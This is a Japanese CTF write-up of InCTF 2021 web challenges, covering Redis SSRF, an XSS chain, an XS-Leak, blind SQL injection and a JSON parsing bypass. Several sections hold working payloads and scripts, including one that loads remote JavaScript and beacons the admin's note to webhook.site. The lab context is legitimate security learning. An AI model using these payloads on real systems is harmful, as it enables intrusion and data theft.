st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

InCTF 2021 writeup

8/13 - 8/15という日程で開催された。zer0ptsで参加して6位。

[Web 100] Raas (? solves)

URLを入力するとそのコンテンツを表示してくれるWebサービスfile:///code/app.pyソースコードが得られる。

Redisサーバから (Cookieに入っているユーザID)_isAdmin というキーに格納された値を取ってきて、それが yes であればフラグが得られるらしい。

from flask import Flask, request,render_template,request,make_response
import redis
import time
import os
from utils.random import Upper_Lower_string
from main import Requests_On_Steroids
app = Flask(__name__)

# Make a connection of the queue and redis
r = redis.Redis(host='redis', port=6379)
#r.mset({"Croatia": "Zagreb", "Bahamas": "Nassau"})
#print(r.get("Bahamas"))
@app.route("/",methods=['GET','POST'])
def index():
    if request.method == 'POST':
        url = str(request.form.get('url'))
        resp = Requests_On_Steroids(url)
        return resp
    else:   
        resp = make_response(render_template('index.html'))
        if not request.cookies.get('userID'):
            user=Upper_Lower_string(32)
            r.mset({str(user+"_isAdmin"):"false"})
            resp.set_cookie('userID', user)
        else:
            user=request.cookies.get('userID')
            flag=r.get(str(user+"_isAdmin"))
            if flag == b"yes":
                resp.set_cookie('flag',str(os.environ['FLAG']))
            else:
                resp.set_cookie('flag', "NAAAN")
        return resp

if __name__ == "__main__":
    app.run('0.0.0.0')

file:///code/main.pyRequests_On_Steroids の実装が見られる。RedisサーバにSSRFしてくれと言わんばかりに、inctf:Gopherプロトコルが使えるようになっている。

import requests, re, io, socket
from urllib.parse import urlparse, unquote_plus
import os
from modules.Gophers import GopherAdapter 
from modules.files import LocalFileAdapter 


def Requests_On_Steroids(url):
    try:
        s = requests.Session()
        s.mount("inctf:", GopherAdapter())
        s.mount('file://', LocalFileAdapter())
        resp = s.get(url)
        assert resp.status_code == 200
        return(resp.text)
    except:
        return "SOME ISSUE OCCURED"
    

#resp = s.get("butts://127.0.0.1:6379/_get dees")

inctf://redis:6379/_set%20kiriyaaoi_isAdmin%20yes というURLの巡回をさせ、CookieのユーザIDに kiriyaaoi を入れるとフラグが得られた。

inctfi{IDK_WHY_I_EVEN_USED_REDIS_HERE!!!}

[Web 823] Notepad 1 - Snakehole's Secret (? solves)

/find では、以下のコードからわかるようになにかひとつ好きなHTTPレスポンスヘッダをGETパラメータから挿入できる。Set-Cookie を使えばCookieの設定もできる。

    } else {
        _, present := param["debug"]
        if present {
            delete(param, "debug")
            delete(param, "startsWith")
            delete(param, "endsWith")
            delete(param, "condition")

            for k, v := range param {
                for _, d := range v {

                    if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 50 {
                        w.Header().Set(k, d)
                    }
                    break
                }
                break
            }
        }
        responseee = "404 No Note Found"
    }

これを利用して、まずadminに /find?condition=hoge&debug=nyan&set-cookie=id=(XSSのペイロードをノートに仕込んだID)%3bpath=/get にアクセスさせ、/getXSSペイロード(<img src=x onerror="import('//example.com:8000/a.php')">)を返すようにする。これで / にアクセスするとXSSが発生し、//example.com:8000/a.php のJSコードが実行される。a.php は以下のような感じ。

<?php
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/javascript");
?>
document.cookie = 'id=; expires=Fri, 31 Dec 1999 23:59:59 GMT; path=/get';
fetch('/get').then(r => r.text()).then(r => {
  navigator.sendBeacon('https://webhook.site/…', r)
})

document.cookie = 'id=; expires=Fri, 31 Dec 1999 23:59:59 GMT; path=/get' によって今設定した /get 限定で有効だったCookieを削除し、それ以降のHTTPリクエストでは元のadminのCookieが送信されるようになる。したがって、この状態で /getfetch するとフラグが書かれたadminのノートが得られる。

この手順を実行するには /find?… から / に遷移させる必要があるが、X-Frame-OptionsDENY であるため iframe が使えない。そのため、以下のように window.open を使う。

<body>
<script>
id = '8666683506aacd900bbd5a74ac4edf68';
w = window.open(`http://chall.notepad1.gq:1111/find?condition=hoge&debug=nyan&set-cookie=id=${id}%3bpath=/get`);
setTimeout(() => {
  w.location.href = 'http://chall.notepad1.gq:1111/';
}, 2000);
</script>
</body>
inctf{youll_never_take_me_alive_ialmvwoawpwe}

[Web 900] Notepad 1.5 - Arthur's Article (? solves)

以下のように、HTTPレスポンスヘッダの値を ^[a-zA-Z0-9{}_;-]*$ にマッチしているかチェックされるよう変更が加えられた。

@@ -132,11 +135,11 @@
                        delete(param, "endsWith")
                        delete(param, "condition")

-                       for k, v := range param {
-                               for _, d := range v {
+                       for v, d := range param {
+                               for _, k := range d {

-                                       if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 50 {
-                                               w.Header().Set(k, d)
+                                       if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 5 {
+                                               w.Header().Set(v, k)
                                        }
                                        break
                                }

find は以下のように特定の文字列がノートの中に含まれているかどうかを確認できるAPIである。 condition というGETパラメータを操作することで特定の文字列から始まるか、あるいは特定の文字列から終わるか、特定の文字列から始まり特定の文字列で終わるかといった条件を切り替えることができる。指定した条件に当てはまらなかった場合に実行されるのが、先ほどのHTTPレスポンスヘッダにGETパラメータの値を挿入する処理である。

つまり、特定の文字列がノートに含まれていればあるHTTPレスポンスヘッダが付与されず、含まれていなければ付与されるというようなことができる。

func find(w http.ResponseWriter, r *http.Request) {

    id := getIDFromCooke(r, w)

    param := r.URL.Query()
    x := Notes[id]

    var which string
    str, err := param["condition"]
    if !err {
        which = "any"
    } else {
        which = str[0]
    }

    var start bool
    str, err = param["startsWith"]
    if !err {
        start = strings.HasPrefix(x, "arthur")
    } else {
        start = strings.HasPrefix(x, str[0])
    }
    var responseee string
    var end bool
    str, err = param["endsWith"]
    if !err {
        end = strings.HasSuffix(x, "morgan")
    } else {
        end = strings.HasSuffix(x, str[0])
    }

    if which == "starts" && start {
        responseee = x
    } else if which == "ends" && end {
        responseee = x
    } else if which == "both" && (start && end) {
        responseee = x
    } else if which == "any" && (start || end) {
        responseee = x
    } else {
        _, present := param["debug"]
        if present {
            delete(param, "debug")
            delete(param, "startsWith")
            delete(param, "endsWith")
            delete(param, "condition")

            for v, d := range param {
                for _, k := range d {

                    if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 5 {
                        w.Header().Set(v, k)
                    }
                    break
                }
                break
            }
        }
        responseee = "404 No Note Found"
    }
    headerSetter(w, cType)
    fmt.Fprintf(w, responseee)
}

X-Frame-OptionsDENY であるという制限下でなんとかしてこれをXS-Leakに使えないか悩んでいたが、s1r1usさんがContent-Disposition ヘッダがXS-Leakに使えることを教えてくれた。あとは実装するだけ。

<body>
<script>
async function test(s) {
  return new Promise((resolve) => {
    const url = `http://chall.notepad15.gq:1515/find?startsWith=${s}&debug=h&Content-Disposition=attachment`;
    const win = window.open(url);
    setTimeout(() => {
      try {
        win.location.href;
        resolve(false);
      } catch (e) {
        resolve(true);
      }
    }, 500);
  });
}

function report(s, t) {
  navigator.sendBeacon(`log.php?${s}:${t}`);
}

(async () => {
  const known = 'inctf{r'
  for (c of '{}_abcdefghijklmnopqrstuvwxyz0123456789') {
    report(c, await test(known + c));
  }
})()
</script>
</body>
inctf{red_dead_rezoday_ialmvwoawpwe}

次の2問は、競技時間中に解ききれなかったものの結構いいところまでいってた(はず)ので悔しかったやつ。

[Web 700] Vuln Drive (? solves)

ファイルのアップローダー。/return-files というファイルをダウンロードできるAPIパストラバーサルがあり、/return-files?f=/app/app.pyソースコードがダウンロードできる。

ソースコードを読むと /dev_test という謎のAPIが見つかる。URLを投げると requests でそのコンテンツを取ってきてくれるが、url_validate という関数でHTTPリクエストを送る前にURLがチェックされている。127.0.0.10.0.0.0 へのアクセスを防ぎたいようだ。

よく見るとURLのチェック後に url = unquote(url) となぜかURLデコードしてしまっている。これを使って http://localhost%2f%23def@example.comhttp://localhost のコンテンツが取得できる。

def url_validate(url):
    blacklist = ["::1", "::"]
    for i in blacklist:
        if(i in url):
            return "NO hacking this time ({- _ -})"
    y = urlparse(url)
    hostname = y.hostname
    try:
        ip = socket.gethostbyname(hostname)
    except:
        ip = ""
    print(url, hostname,ip)
    ips = ip.split('.')
    if ips[0] in ['127', '0']:
        return "NO hacking this time ({- _ -})"
    else:
        try:
            url = unquote(url)
            r = requests.get(url,allow_redirects = False)
            return r.text
        except:
            print(url, hostname)
            return "cannot get you url :)"

# …

@app.route("/dev_test",methods =["GET", "POST"])
def dev_test():
    if auth():
        return redirect('/logout')
    if request.method=="POST" and request.form.get("url")!="":
        url=request.form.get("url")
        return url_validate(url)
    return render_template("dev.html")

http://localhost は以下のようなコンテンツを返した。part1part2 というGETパラメータに特定の文字が含まれているかどうかチェックした後にSQL文に挿入し、MySQLにクエリを投げているようだ。

part1 についてはまた文字のチェックの後に urldecode でURLデコードしてしまっているため、' をURLエンコードすることでフィルターをバイパスしてSQLインジェクションでき、次の part2 が挿入されるSQL文を実行させることができる。

<?php
include('./conf.php');
$inp=$_GET['part1'];
$real_inp=$_GET['part2'];
if(preg_match('/[a-zA-Z]|\\\|\'|\"/i', $inp)) exit("Correct <!-- Not really -->");
if(preg_match('/\(|\)|\*|\\\|\/|\'|\;|\"|\-|\#/i', $real_inp)) exit("Are you me");
$inp=urldecode($inp);
//$query1=select name,path from adminfo;
$query2="SELECT * FROM accounts where id=1 and password='".$inp."'";
$query3="SELECT ".$real_inp.",name FROM accounts where name='tester'";
$check=mysqli_query($con,$query2);
if(!$_GET['part1'] && !$_GET['part2'])
{
    highlight_file(__file__);
    die();
}
if($check || !(strlen($_GET['part2'])<124))
{
    echo $query2."<br>";
    echo "Not this way<br>";
}
else
{
    $result=mysqli_query($con,$query3);
    $row=mysqli_fetch_assoc($result);
    if($row['name']==="tester")
        echo "Success";
    else
        echo "Not";
    //$err=mysqli_error($con);
    //echo $err;
}
?>

part2 は使われている文字をチェックした後にURLデコードされていないため、今度は真面目に ( ) * \ / ' ; " - # を使わずにSQLインジェクションする必要がある。

コメントアウトされている $query1=select name,path from adminfo; から、この adminfo というテーブルから情報を抜き出せばよいとわかる。返ってきた最初のレコードの name カラムの値が tester であれば Success と表示され、そうでなければ Not と表示されることを利用すればBlind SQLiの要領で adminfo のデータを抜き出せる。

import binascii
import uuid
import re
import requests
from urllib.parse import quote

URL = 'http://web.challenge.bi0s.in:6007/'
s = requests.Session()
def login():
  s.post(URL + 'login', data={
    'username': str(uuid.uuid4()),
    'password': str(uuid.uuid4()),
    'submit': 'Login'
  })
  s.get(URL)

def query(payload):
  while True:
    r = s.post(URL + 'dev_test', data={
      'url': 'http://localhost%2f%3fpart1=' + quote(quote(quote("'"))) + '%26part2=' + quote(payload) + '%23def@example.com'
    })
    if 'Success' in r.text or 'Not' in r.text:
      break
    login()
  return 'Success' in r.text

login()

table = list(b'/0123456789abcdefg')
known = ''

while True:
  for i, c in enumerate(table):
    tmp = known + chr(c)
    tmp = binascii.hexlify(tmp.encode()).decode()
    r = query(f"0x746573746572,1 from adminfo where path < 0x4e6f74 and path > binary 0x{tmp} union select 1")
    if not r:
      known += chr(table[i - 1])
      break
  else:
    print('?')
  print(known)

競技時間中はこのスクリプトpath を抜き出すところまでできた。


このカラムには /504acbe45cad25 のようなパスが入っているのだが、/return-files でそのパスのファイルを取得しようとしてもファイルが見つからないと表示されて困っていた。

上のスクリプトでは http://web.challenge.bi0s.in:6007 からパスを抜き出しているが、競技時間中の私はどういうわけかバックアップの問題サーバである http://web.challenge.bi0s.in:6006/return-files で抜き出したパスからファイルを抜き出そうとしており、サーバによってこのパスが異なるためにフラグが得られなかった。つらい。

[Web 804] Json Analyser (? solves)

まず次のAPIで有効なサブスクリプションコードを得る必要がある。role というGETパラメータが {"name":"user","role":"(role)"} というテンプレートに展開されてJSONとしてパースされるが、その useradminrolesuperuser でなければならない。

JSONのパースに使われているujsonは、重複したキーが出現した場合に後から出現した方をそのキーの値として採用する。superuser","name":"admin" というような role を入力すればよいのではないかと思ってしまうが、superuserrole に含まれていれば削除されるし、role は30文字を超えてはいけないし、パース前の文字列に "role":"superuser" という文字列が含まれてはいけないので通らない。

ではどうするかというと、\uXXXX という記法を使えばよい。/verify_roles?role=/u0073uperuser%22,%22name%22:%22admin673307-0496-1001122 というサブスクリプションコードが得られた。

import ujson

# …

@app.route('/verify_roles',methods=['GET','POST'])
def verify_roles():
    no_hecking=None
    role=request.args.get('role')
    if "superuser" in role:
        role=role.replace("superuser",'')
    if " " in role:
        return "n0 H3ck1ng"
    if len(role)>30:
        return "invalid role"
    data='"name":"user","role":"{0}"'.format(role)
    no_hecking=re.search(r'"role":"(.*?)"',data).group(1)
    if(no_hecking)==None:
        return "bad data :("
    if no_hecking == "superuser":
        return "n0 H3ck1ng"
    data='{'+data+'}'
    try:
        user_data=ujson.loads(data)
    except:
        return "bad format" 
    role=user_data['role']
    user=user_data['name']
    if (user == "admin" and role == "superuser"):
        return os.getenv('subscription_code')
    else:
        return "no subscription for you"

このサブスクリプションコードを使えば、以下のように package.json をアップロードすると config-handler という謎ライブラリを使ってその内容を表示してくれる。

app.post('/upload', function(req, res) {
    let uploadFile;
    let uploadPath;
    if(req.body.pin !== "[REDACTED]"){
        return res.send('bad pin')
    }
    if (!req.files || Object.keys(req.files).length === 0) {
      return res.status(400).send('No files were uploaded.');
    }
    uploadFile = req.files.uploadFile;
    uploadPath = __dirname + '/package.json' ;
    uploadFile.mv(uploadPath, function(err) {
        if (err)
            return res.status(500).send(err);
        try{
            var config = require('config-handler')();
        }
        catch(e){
            const src = "package1.json";
            const dest = "package.json";
            fs.copyFile(src, dest, (error) => {
                if (error) {
                    console.error(error);
                    return;
                }
                console.log("Copied Successfully!");
            });
            return res.sendFile(__dirname+'/static/error.html')
        }
        var output='\n';
        if(config['name']){
            output=output+'Package name is:'+config['name']+'\n\n';
        }
        if(config['version']){
            output=output+ "version is :"+ config['version']+'\n\n'
        }
        if(config['author']){
            output=output+"Author of package:"+config['author']+'\n\n'
        }
        if(config['license']){
            var link=''
            if(config['license']==='ISC'){
                link='https://opensource.org/licenses/ISC'+'\n\n'
            }
            if(config['license']==='MIT'){
                link='https://www.opensource.org/licenses/mit-license.php'+'\n\n'
            }
            if(config['license']==='Apache-2.0'){
                link='https://opensource.org/licenses/apache2.0.php'+'\n\n'
            }
            if(link==''){
                var link='https://opensource.org/licenses/'+'\n\n'
            }
            output=output+'license :'+config['license']+'\n\n'+'find more details here :'+link;
        }
        if(config['dependencies']){
            output=output+"following dependencies are thier corresponding versions are used:" +'\n\n'+'     '+JSON.stringify(config['dependencies'])+'\n'
        }

        const src = "package1.json";
        const dest = "package.json";
        fs.copyFile(src, dest, (error) => {
            if (error) {
                console.error(error);
                return;
            }
        });
        res.render('index.squirrelly', {'output':output})
    });
});

ここでPrototype Pollutionができる。


Prototype PollutionからRCEに持ち込めるのではないかと考えてs1r1usさんとSquirrellyのscript gadgetを探していたが、結局見つけられなかった。実は既知のネタだったらしいし、終了後にTea DeliverersのZeddyさんにも聞いたところやはりこのgadgetを使ったらしかった。